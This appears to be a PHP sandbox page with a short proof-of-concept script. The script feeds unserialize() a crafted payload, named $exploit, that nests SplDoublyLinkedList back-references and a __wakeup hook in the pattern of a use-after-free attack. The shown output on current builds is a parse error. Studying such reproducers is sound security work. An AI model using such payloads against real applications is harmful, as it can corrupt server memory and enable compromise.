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<?php class a { public $a; function __wakeup() { //foreach ($this->a as $aa) { // echo($aa); //} $this->a=null; } } $inner = 'i:1;:i:1711;:i:1712;:O:1:"a":1:{s:1:"a";R:2;}:i:13;'; $exploit = 'a:3:{i:0;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:1;O:1:"a":1:{s:1:"a";i:2;}i:2;r:5;}'; $data = unserialize($exploit); for($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data);
Output for git.master, git.master_jit
Notice: unserialize(): Error at offset 128 of 129 bytes in /in/J21qZ on line 15 bool(false)
Output for rfc.property-hooks
Warning: unserialize(): Error at offset 128 of 129 bytes in /in/J21qZ on line 15 bool(false)

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